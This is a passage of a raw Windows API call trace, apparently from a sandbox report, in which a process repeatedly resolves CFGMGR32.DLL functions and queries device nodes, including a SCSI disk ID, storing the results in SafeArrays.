lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.933] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.933] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.933] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.933] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.933] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.933] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.933] malloc (_Size=0x18) returned 0x196ef0d1960 [0230.933] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.936] malloc (_Size=0x48) returned 0x196ef0fbb80 [0230.936] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a7fca03, dwHighDateTime=0x1d9eb0c)) [0230.936] SetEvent (hEvent=0x248) returned 1 [0230.940] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.940] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.941] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.941] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.941] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.941] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.941] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.941] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.941] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.941] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.943] malloc (_Size=0x18) returned 0x196ef0d1a40 [0230.943] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x7, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0230.943] malloc (_Size=0x48) returned 0x196ef0fbd10 [0230.943] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6a822c7d, dwHighDateTime=0x1d9eb0c)) [0230.943] SetEvent (hEvent=0x248) returned 1 [0230.947] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.947] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.951] malloc (_Size=0x18) returned 0x196ef0d1a40 [0230.951] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x7, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0230.951] malloc (_Size=0x48) returned 0x196ef0fb680 [0230.951] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6a822c7d, dwHighDateTime=0x1d9eb0c)) [0230.951] SetEvent (hEvent=0x248) returned 1 [0230.954] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.954] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.957] malloc (_Size=0x18) returned 0x196ef0d1de0 [0230.958] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0230.958] malloc (_Size=0x48) returned 0x196ef0fbae0 [0230.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a84933f, dwHighDateTime=0x1d9eb0c)) [0230.958] SetEvent (hEvent=0x248) returned 1 [0230.963] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.963] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.966] malloc (_Size=0x18) returned 0x196ef0d2040 [0230.966] CM_Get_Device_IDA (in: dnDevInst=0x1, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SCSI\\DISK&VEN_&PROD_ST3160215AS\\4&305DAB9F&0&000000") returned 0x0 [0230.966] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0230.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6a84933f, dwHighDateTime=0x1d9eb0c)) [0230.966] SetEvent (hEvent=0x248) returned 1 [0231.005] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.005] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.009] malloc (_Size=0x18) returned 0x196ef0d1a20 [0231.010] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0231.010] malloc (_Size=0x138) returned 0x196ef0d67b0 [0231.010] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0231.011] free (_Block=0x196ef0d67b0) [0231.011] malloc (_Size=0x48) returned 0x196ef0fbf40 [0231.011] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6a8bb4ba, dwHighDateTime=0x1d9eb0c)) [0231.011] SetEvent (hEvent=0x248) returned 1 [0231.014] malloc (_Size=0x18) returned 0x196ef0d2080 [0231.014] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0231.014] free (_Block=0x196ef0d2080) [0231.014] malloc (_Size=0x18) returned 0x196ef0d1da0 [0231.014] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0231.014] free (_Block=0x196ef0d1da0) [0231.014] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0231.014] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0231.014] free (_Block=0x196ef0d1fa0) [0231.014] malloc (_Size=0x18) returned 0x196ef0d2000 [0231.014] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0231.014] free (_Block=0x196ef0d2000) [0231.014] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0231.015] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0231.015] free (_Block=0x196ef0d1ba0) [0231.015] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0231.015] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0231.015] free (_Block=0x196ef0d1fa0) [0231.015] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856460 [0231.015] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0231.015] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0231.015] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0231.015] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0231.015] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0231.015] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0231.015] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0231.016] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0231.016] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2560, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0231.016] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2568, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0231.017] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2570, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0231.017] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2578, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0231.017] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2580, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0231.017] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2588, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0231.018] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0231.018] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856460) returned 1 [0231.018] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.019] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.022] malloc (_Size=0x18) returned 0x196ef0d1b00 [0231.023] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0231.023] malloc (_Size=0x28) returned 0x196ef0f9a30 [0231.023] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0f9a30, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9a30, pulLength=0x67117d608) returned 0x0 [0231.023] free (_Block=0x196ef0f9a30) [0231.023] malloc (_Size=0x48) returned 0x196ef0fb950 [0231.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6a8e1792, dwHighDateTime=0x1d9eb0c)) [0231.024] SetEvent (hEvent=0x248) returned 1 [0231.027] malloc (_Size=0x18) returned 0x196ef0d1980 [0231.027] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0231.027] free (_Block=0x196ef0d1980) [0231.027] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0231.027] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0231.027] free (_Block=0x196ef0d1ac0) [0231.028] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8567e0 [0231.028] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0231.028] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0231.028] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0231.028] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0231.028] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0231.028] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0231.028] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0231.028] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0231.029] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e810, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0231.029] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e818, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0231.029] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0231.030] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8567e0) returned 1 [0231.030] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.030] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.030] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.031] GetProcAddress 